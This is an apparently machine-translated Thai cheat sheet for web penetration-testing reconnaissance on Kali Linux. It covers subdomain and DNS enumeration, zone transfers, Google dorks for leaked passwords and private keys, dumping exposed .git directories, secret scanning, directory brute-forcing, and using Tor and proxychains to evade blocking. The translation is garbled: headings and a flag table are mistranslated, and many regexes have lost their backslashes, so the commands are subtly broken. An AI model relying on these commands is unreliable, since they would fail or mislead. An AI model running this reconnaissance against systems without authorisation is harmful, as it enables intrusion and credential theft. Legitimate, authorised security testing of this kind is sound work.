นี่เป็นรายการตรวจสอบมากกว่าสำหรับตัวเอง อาจมีเคล็ดลับและลูกเล่นที่เป็นประโยชน์
ทุกอย่างได้รับการทดสอบใน Kali Linux V2023.1 (64 บิต)
สำหรับความช่วยเหลือเกี่ยวกับเครื่องมือใด ๆ ที่เขียน <tool_name> [-h | -hh | --help] หรือ man <tool_name>
บางครั้ง -h สามารถเข้าใจผิดว่าเป็นโฮสต์หรือตัวเลือกอื่น ๆ หากเป็นกรณีนี้ให้ใช้ -hh หรือ --help แทนหรืออ่านคู่มือกับ man
เครื่องมือบางอย่างทำงานที่คล้ายกัน แต่ได้ผลลัพธ์ที่แตกต่างกันเล็กน้อย เรียกใช้ทุกสิ่งที่คุณสามารถทำได้ เครื่องมือมากมายนอกจากนี้ยังเติมเต็มซึ่งกันและกัน!
โปรดทราบเมื่อไม่มีการระบุโปรโตคอลหรือหมายเลขพอร์ตใน URL เช่นถ้าคุณระบุเฉพาะ somesite.com เครื่องมือบางอย่างจะเริ่มต้นเป็นโปรโตคอล HTTP และพอร์ต 80
หากคุณยังไม่ได้อ่านคู่มือการทดสอบความปลอดภัยของเว็บ รายการตรวจสอบสามารถดาวน์โหลดได้ที่นี่
ขอแนะนำให้อ่านปัญหาด้านความปลอดภัยทั่วไปในเว็บที่เน้นทางการเงิน
เว็บไซต์ที่คุณควรใช้ในขณะที่เขียนรายงาน:
แผ่นโกงอื่น ๆ ของฉัน:
0. ติดตั้งเครื่องมือและการตั้งค่า
1. ลาดตระเวน
2. การสแกน/การแจงนับ
3. การประเมินช่องโหว่/การใช้ประโยชน์
4. โพสต์การแสวงประโยชน์
5. รหัสผ่านแคร็ก
6. วิศวกรรมสังคม
7. เบ็ดเตล็ด
เครื่องมือส่วนใหญ่สามารถติดตั้งได้ด้วย Linux Package Manager:
apt-get update && apt-get -y install sometoolสำหรับข้อมูลเพิ่มเติมโปรดเยี่ยมชม kali.org/tools
เครื่องมือ Python บางอย่างจำเป็นต้องดาวน์โหลดและติดตั้งด้วยตนเอง:
python3 setup.py install
หรือติดตั้งจาก PYPI:
pip3 install sometool
python3 -m pip install sometool
เครื่องมือ Golang บางอย่างจำเป็นต้องดาวน์โหลดและสร้างด้วยตนเอง:
go build sometool.go
หรือติดตั้งโดยตรง:
go install -v github.com/user/sometool@latest
สำหรับข้อมูลเพิ่มเติมโปรดเยี่ยมชม pkg.go.dev
ในการตั้งค่า Golang, Run:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc หากคุณใช้คอนโซลอื่นคุณอาจต้องเขียนถึง ~/.bashrc ฯลฯ
เครื่องมือบางอย่างที่อยู่ในรูปแบบของไบนารีหรือสคริปต์เชลล์สามารถย้ายไปที่ /usr/bin/ ไดเรกทอรีเพื่อความสะดวกในการใช้งาน:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolเครื่องมือ Java บางอย่างจำเป็นต้องดาวน์โหลดและวิ่งด้วยตนเองด้วย Java (JRE):
java -jar sometool.jar
รายการ API ที่มีประโยชน์เพื่อรวมเข้ากับเครื่องมือของคุณ:
ดาวน์โหลดรายชื่อตัวแทนผู้ใช้ Bot-Safe ต้องใช้คีย์ scrape.io API:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'ดาวน์โหลดรายการของตัวแก้ไข DNS ที่เชื่อถือได้หรือด้วยตนเองจาก Tlifest/Resolvers:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'หาก Google หรือเครื่องมือค้นหาอื่น ๆ หรือบริการบล็อกเครื่องมือของคุณให้ใช้ Proxychains-NG และ TOR เพื่อข้ามข้อ จำกัด
การติดตั้ง:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher ทำการเปลี่ยนแปลงต่อไปนี้ใน /etc/proxychains4.conf :
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
ตรวจสอบให้แน่ใจว่าได้แสดงความคิดเห็นประเภทห่วงโซ่ใด ๆ นอกเหนือจาก round_robin - เช่นแสดงความคิดเห็น strict_chain ลงใน # strict_chain
เริ่ม TOR:
service tor start
จากนั้นเรียกใช้เครื่องมือใด ๆ ที่คุณต้องการ:
proxychains4 sometool
การใช้ Tor เพียงอย่างเดียวที่น่าจะไม่เพียงพอคุณจะต้องเพิ่มพร็อกซีมากขึ้น (1) (2) ถึง /etc/proxychains4.conf ; อย่างไรก็ตามมันยากที่จะหาพร็อกซีฟรีและเสถียรที่ยังไม่ได้ขึ้นบัญชีดำ
ดาวน์โหลดรายการพร็อกซีฟรี:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtโปรดทราบว่าบางเว็บไซต์ [มรดก] อาจสามารถเข้าถึงได้ผ่านเว็บเบราว์เซอร์เฉพาะเช่น Internet Explorer หรือ Edge
โปรดทราบว่าบางเว็บไซต์อาจขาดหายไปในหน้าดัชนีและอาจไม่เปลี่ยนเส้นทางคุณไปยังโฮมเพจจริง หากเป็นกรณีนี้ให้ลองเดาเส้นทางเต็มรูปแบบไปยังหน้าแรกใช้เครื่อง Wayback หรือ GAU เพื่อค้นหา URL เก่าหรือลองใช้ไดเรกทอรีที่ฟัซซิงกับ Feroxbuster หรือ Dirbuster
ค้นหาอินเทอร์เน็ตสำหรับเส้นทางและไฟล์ที่กำหนดไว้ล่วงหน้าสำหรับเว็บแอปพลิเคชันเฉพาะ ใช้ข้อมูลที่รวบรวมร่วมกับ Google Dorks, Chad และ HTTPX เพื่อค้นหาเส้นทางและไฟล์เดียวกันในโดเมนที่แตกต่างกัน สำหรับแอปพลิเคชันเว็บที่ไม่ได้ใช้ทั่วไปลองค้นหาและเรียกดูซอร์สโค้ดสำหรับเส้นทางและไฟล์ที่กำหนดไว้ล่วงหน้า / กำหนดไว้ล่วงหน้า
คุณสามารถค้นหาซอร์สโค้ดของแอปพลิเคชันได้ที่ GitHub, Gitlab, SearchCode ฯลฯ
ค้นหาซอร์สโค้ดของแอปพลิเคชันสำหรับคีย์ API, ข้อมูลรับรอง, ความลับ, โทเค็น, โฮสต์, ฯลฯ โดยมีทรัฟเฟิลฮอคและมีดโกนไฟล์ อย่าลืมตรวจสอบ GitHub Old สำหรับคีย์ API เก่า แต่ยังคงใช้งานอยู่, ข้อมูลรับรอง, ความลับ, โทเค็น ฯลฯ
ตรวจสอบเว็บคอนโซลสำหรับข้อผิดพลาดที่เป็นไปได้ ตรวจสอบซอร์สโค้ดของแอปพลิเคชันสำหรับความคิดเห็นที่เป็นไปได้
อย่าลืมเข้าถึงเว็บเซิร์ฟเวอร์ผ่านที่อยู่ IP เพราะคุณอาจพบหน้าต้อนรับเริ่มต้นของเซิร์ฟเวอร์หรือเนื้อหาอื่น ๆ
รวบรวมข้อมูล:
dmitry -wines -o dmitry_results.txt somedomain.com
เลิกใช้แล้ว การค้นหา Netcraft ไม่ทำงาน
รวบรวมข้อมูล:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
เครื่องมือนี้กำลังเปลี่ยนเครื่องมือค้นหาบ่อยครั้งเช่นนี้บางคนอาจไม่ทำงานตามการอ่านนี้
บางครั้งไฟล์เอาต์พุตอาจเริ่มต้นเป็น /usr/lib/python3/dist-packages/theHarvester/ ไดเรกทอรี
แยกชื่อโฮสต์จากผลลัพธ์:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtแยก IPS ออกจากผลลัพธ์:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtแยกอีเมลจากผลลัพธ์:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtแยกอีเมลจากผลลัพธ์:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtค้นหาข้อมูลเมตาและข้อมูลที่ซ่อนอยู่ในไฟล์
ทดสอบบน Windows 10 Enterprise OS (64 บิต)
ข้อกำหนดขั้นต่ำ:
GUI นั้นใช้งานง่ายมาก
การติดตั้ง:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
ตั้งค่าปุ่ม API ของคุณใน /root/.config/uncover/provider-config.yaml ดังต่อไปนี้:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
รวบรวมข้อมูลโดยใช้ Shodan, Censys และอื่น ๆ :
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtสิ่งที่ต้องทำ: Shodan และ Censys Dorks มากขึ้น
รวบรวมโดเมนย่อยโดยใช้ OSINT:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtรวบรวมโดเมนย่อยโดยใช้ OSINT:
sublist3r -o sublister_results.txt -d somedomain.com
การติดตั้ง:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
รวบรวมโดเมนย่อยโดยใช้ OSINT:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
Subfinder มีตัวแก้ไข DNS ในตัว
ตั้งค่าปุ่ม API ของคุณใน /root/.config/subfinder/config.yaml ไฟล์ดังต่อไปนี้:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
รวบรวมโดเมนย่อยโดยใช้ OSINT:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
Amass มีตัวแก้ไข DNS ในตัว
หากต้องการค้นหา ASNs จาก IPS และ CIDRs จาก ASNs ให้ใช้ Whois การสแกน ASN และ CIDR ด้านล่างจะใช้เวลานานกว่าจะเสร็จ ผลลัพธ์อาจไม่ได้อยู่ในขอบเขตของลูกค้าที่ได้รับอนุญาต!
รวบรวมโดเมนย่อยจาก ASN:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
รวบรวมโดเมนย่อยจาก CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
เซิร์ฟเวอร์ชื่อดึง:
dig +noall +answer -t NS somedomain.com
ดึงข้อมูลเซิร์ฟเวอร์แลกเปลี่ยน:
dig +noall +answer -t MX somedomain.com
ซักถามเซิร์ฟเวอร์ชื่อโดเมน:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
ดึงไฟล์โซนจากเซิร์ฟเวอร์ชื่อโดเมน:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
การค้นหา IP ย้อนกลับ:
dig +noall +answer -x 192.168.8.5
[การปฏิวัติโดเมนย่อย] ตรวจสอบว่าโดเมน/โดเมนย่อยตายไปแล้วหรือไม่มองหารหัสสถานะ NXDOMAIN , SERVFAIL หรือรหัสสถานะ REFUSED :
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtดูเครื่องมือโฮสต์สำหรับขั้นตอนต่อไป
การซักถามชื่อโดเมนเซิร์ฟเวอร์:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
โดยค่าเริ่มต้น Fierce จะทำการโจมตีพจนานุกรมด้วย WordList ในตัว
การซักถามชื่อโดเมนเซิร์ฟเวอร์:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
DNSRECON สามารถทำการโจมตีพจนานุกรมด้วย WordList ที่ผู้ใช้กำหนด แต่ตรวจสอบให้แน่ใจว่าได้ระบุเส้นทางเต็มรูปแบบไปยัง WordList; มิฉะนั้น DNSRECON อาจไม่รู้จัก
ตรวจสอบให้แน่ใจว่าได้ระบุเส้นทางเต็มไปยังไฟล์เอาต์พุต มิฉะนั้นจะเริ่มต้นเป็น /usr/share/dnsrecon/ ไดเรกทอรีเช่นไดเรกทอรีราก
แยกชื่อโฮสต์จากผลลัพธ์การถ่ายโอน/โซนแรง/เดรัจฉาน:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtแยก IPS จากผลลัพธ์การถ่ายโอน/โซนแรง/เดรัจฉาน:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[การปฏิวัติโดเมนย่อย] สารสกัดจากชื่อที่บัญญัติจากผลลัพธ์การถ่ายโอนมาตรฐาน/โซนแรง/ดุร้าย
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtการค้นหา IP ย้อนกลับ:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
แยกโฮสต์เสมือนจริงจากผลการค้นหา IP ย้อนกลับ:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtเซิร์ฟเวอร์ DNS บางตัวจะไม่ตอบสนองต่อ DNS quieries ประเภท 'ใด ๆ ', ใช้ประเภท 'A' แทน
รวบรวม IPS สำหรับโดเมน/โดเมนย่อยที่กำหนด (ขอ A ):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtตรวจสอบว่าโดเมน/โดเมนย่อยยังมีชีวิตอยู่ด้วย httpx หรือไม่ ตรวจสอบว่า IPS ยังมีชีวิตอยู่กับ NMAP ที่กำลังกวาดปิงหรือไม่
รวบรวมโฮสต์เสมือนจริงสำหรับ IP ที่กำหนด (ขอบันทึก PTR ):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [การปฏิวัติโดเมนย่อย] รวบรวมชื่อที่เป็นที่ยอมรับสำหรับโดเมนข้อผิดพลาด/โดเมนย่อย (ขอบันทึก CNAME ):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtรวบรวม ASNs จาก IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtรวบรวม CIDRs จาก ASNS:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[การครอบครองโดเมนย่อย] รวบรวมชื่อองค์กรจาก IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtตรวจสอบว่า IP ใด ๆ เป็นขององค์กร GitHub อ่านเพิ่มเติมเกี่ยวกับ GitHub TakeOver ในบทความ H1 นี้หรือไม่
การติดตั้ง:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
รับคีย์ ProjectDiscovery API จาก Cloud.projectDiscovery.io และเรียกใช้:
asnmap -auth
รวบรวม CIDRs จาก ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtรวบรวม CIDRs จากรหัสองค์กร:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtตรวจสอบว่าโดเมน/โดเมนย่อยยังมีชีวิตอยู่แผนที่โฮสต์สด:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443กรองโดเมน/โดเมนย่อยจากผลลัพธ์ JSON:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtตรวจสอบว่ามีไดเรกทอรีบนเว็บเซิร์ฟเวอร์หรือไม่:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitรวบรวม URL จาก Wayback Machine:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtกรอง URL จากผลลัพธ์:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtการติดตั้ง:
go install -v github.com/utkusen/urlhunter@latestรวบรวม URL จากบริการลดระดับ URL:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
ฐานข้อมูล Google Dork:
ตรวจสอบรายการ /.well-known/ well-known/ ไฟล์ที่นี่
Google Dorking จะไม่แสดงไดเรกทอรีหรือไฟล์ที่ไม่ได้รับอนุญาตใน robots.txt เพื่อตรวจสอบไดเรกทอรีและไฟล์ดังกล่าวใช้ httpx
site:www.somedomain.com เพื่อ จำกัด ขอบเขตของคุณเป็นโดเมน/โดเมนย่อยที่ระบุ site:*.somedomain.com เพื่อ จำกัด ขอบเขตของคุณสำหรับโดเมนย่อยทั้งหมด site:*.somedomain.com -www เพื่อยกเว้นโดเมนย่อย www จากผลลัพธ์
Google Dorks ง่าย ๆ :
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
ค้นหาและดาวน์โหลดไฟล์โดยใช้ Google Dork:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
แยกผู้เขียน (และอื่น ๆ ) จากไฟล์:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtค้นหารายชื่อไดเรกทอรีโดยใช้ Google Dork:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
ข้อมูลเพิ่มเติมเกี่ยวกับโครงการของฉันที่ Ivan-Sincek/Chad
ดาวน์โหลดเวอร์ชันล่าสุดจาก GitHub และตรวจสอบวิธีการติดตั้งเครื่องมือ
รับข้อมูลหมายเลขโทรศัพท์:
phoneinfoga scan -n +1111111111
รับข้อมูลหมายเลขโทรศัพท์โต้ตอบกับ UI:
phoneinfoga serve
นำทางไปที่ http://localhost:5000 ด้วยเว็บเบราว์เซอร์ที่คุณต้องการ
พยายามสร้างพื้นที่เก็บข้อมูล GitHub ขึ้นใหม่เช่นรับซอร์สโค้ดตามประวัติการกระทำจากไดเรกทอรีสาธารณะ /.git :
git-dumper https://somesite.com/.git git_dumper_results
เครื่องมือนี้อาจไม่สามารถสร้างที่เก็บทั้งหมดได้ทุกครั้ง แต่ก็ยังสามารถเปิดเผยข้อมูลที่ละเอียดอ่อนได้
คำสั่ง git เพิ่มเติมบางคำเพื่อลองใช้ไดเรกทอรี /.git GIT:
git status
git log
git checkout -- .
git restore .
ใช้ Google Dorking และ Chad เพื่อค้นหาเป้าหมายเพิ่มเติม
การติดตั้ง:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installค้นหาคีย์ที่ละเอียดอ่อนภายในที่เก็บเดียวหรือทั้งองค์กรใน GitHub:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
ค้นหาคีย์ที่ละเอียดอ่อนภายในไฟล์และไดเรกทอรี:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
เพิ่มเติมเกี่ยวกับโครงการที่ Trufflesecurity/Trufflehog
สิ่งที่ต้องทำ: เสร็จสิ้น
ข้อมูลเพิ่มเติมเกี่ยวกับโครงการที่ Ivan-Sincek/File-Scraper
การติดตั้ง:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
รวบรวมข้อมูลเว็บไซต์:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
รวบรวมข้อมูลเว็บไซต์ดาวน์โหลดและเสริมความสวยงาม [minified] ไฟล์ JavaScript:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
ในกรณีที่คุณไม่ได้รับผลลัพธ์ในขณะที่ใช้เบราว์เซอร์เฮดเลสของ Playwright ลองอัปเดต:
pip3 install --upgrade playwright
playwright install chromium
ข้อมูลเพิ่มเติมเกี่ยวกับโครงการของฉันที่ Ivan-Sincek/Scrapy-Scraper
ขูดไฟล์ JavaScript โดยใช้ Trufflehog และ Scraper ไฟล์
อย่าลืมว่า GNU/Linux OS มีระบบไฟล์ที่ละเอียดอ่อนกรณีดังนั้นอย่าลืมใช้รายการ WordLists ที่เหมาะสม
หากคุณไม่ได้รับความนิยมใด ๆ ในขณะที่มีการบังคับใช้ไดเรกทอรีเดรัจฉานให้ลองใช้ไฟล์ Force Files โดยการระบุนามสกุลไฟล์
เครื่องมือด้านล่างรองรับไดเรกทอรีแบบเรียกซ้ำและการค้นหาไฟล์ นอกจากนี้พวกเขาอาจใช้เวลานานกว่าจะเสร็จสิ้นขึ้นอยู่กับการตั้งค่าที่ใช้และรายการคำ

รูปที่ 1 - Dirbuster
WordLists ของ Dirbuster ทั้งหมดอยู่ที่ /usr/share/dirbuster/wordlists/ ไดเรกทอรี
ไดเรกทอรี Brute Force บนเว็บเซิร์ฟเวอร์:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
เครื่องมือนี้เร็วกว่า Dirbuster
กรองไดเรกทอรีจากผลลัพธ์:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| ตัวเลือก | คำอธิบาย |
|---|---|
| -U | URL เป้าหมาย (จำเป็นต้องใช้ [-stdin |-resume-from]) |
| -stdin | อ่าน url (s) จาก stdin |
| -a/-a | ตั้งค่าตัวแทนผู้ใช้ (ค่าเริ่มต้น: feroxbuster / xxx) / ใช้ตัวแทนผู้ใช้แบบสุ่ม |
| -x | ส่วนขยายไฟล์เพื่อค้นหา (เช่น: -x php -x pdf, js) |
| -m | วิธีการร้องขอ HTTP ใดที่ควรส่ง (ค่าเริ่มต้น: GET) |
| --ข้อมูล | ร่างกายของคำขอ; สามารถอ่านข้อมูลจากไฟล์ได้หากอินพุตเริ่มต้นด้วย @(เช่น: @post.bin) |
| -ชม | ระบุส่วนหัว HTTP ที่จะใช้ในแต่ละคำขอ (เช่น: -H ส่วนหัว: val -h 'สิ่งของ: สิ่งของ') |
| -b | ระบุคุกกี้ HTTP ที่จะใช้ในแต่ละคำขอ (เช่น -b stuff = สิ่งของ) |
| -Q | พารามิเตอร์ URL แบบสอบถามของคำขอ (เช่น -Q Token = stuff -q secret = key) |
| -f | ผนวก / เข้ากับ URL ของแต่ละคำขอ |
| -s | รหัสสถานะที่จะรวม (อนุญาตรายการ) (ค่าเริ่มต้น: 200,204,301,302,307,308,401,403,405) |
| -t | จำนวนวินาทีก่อนที่คำขอของลูกค้าจะหมดเวลา (ค่าเริ่มต้น: 7) |
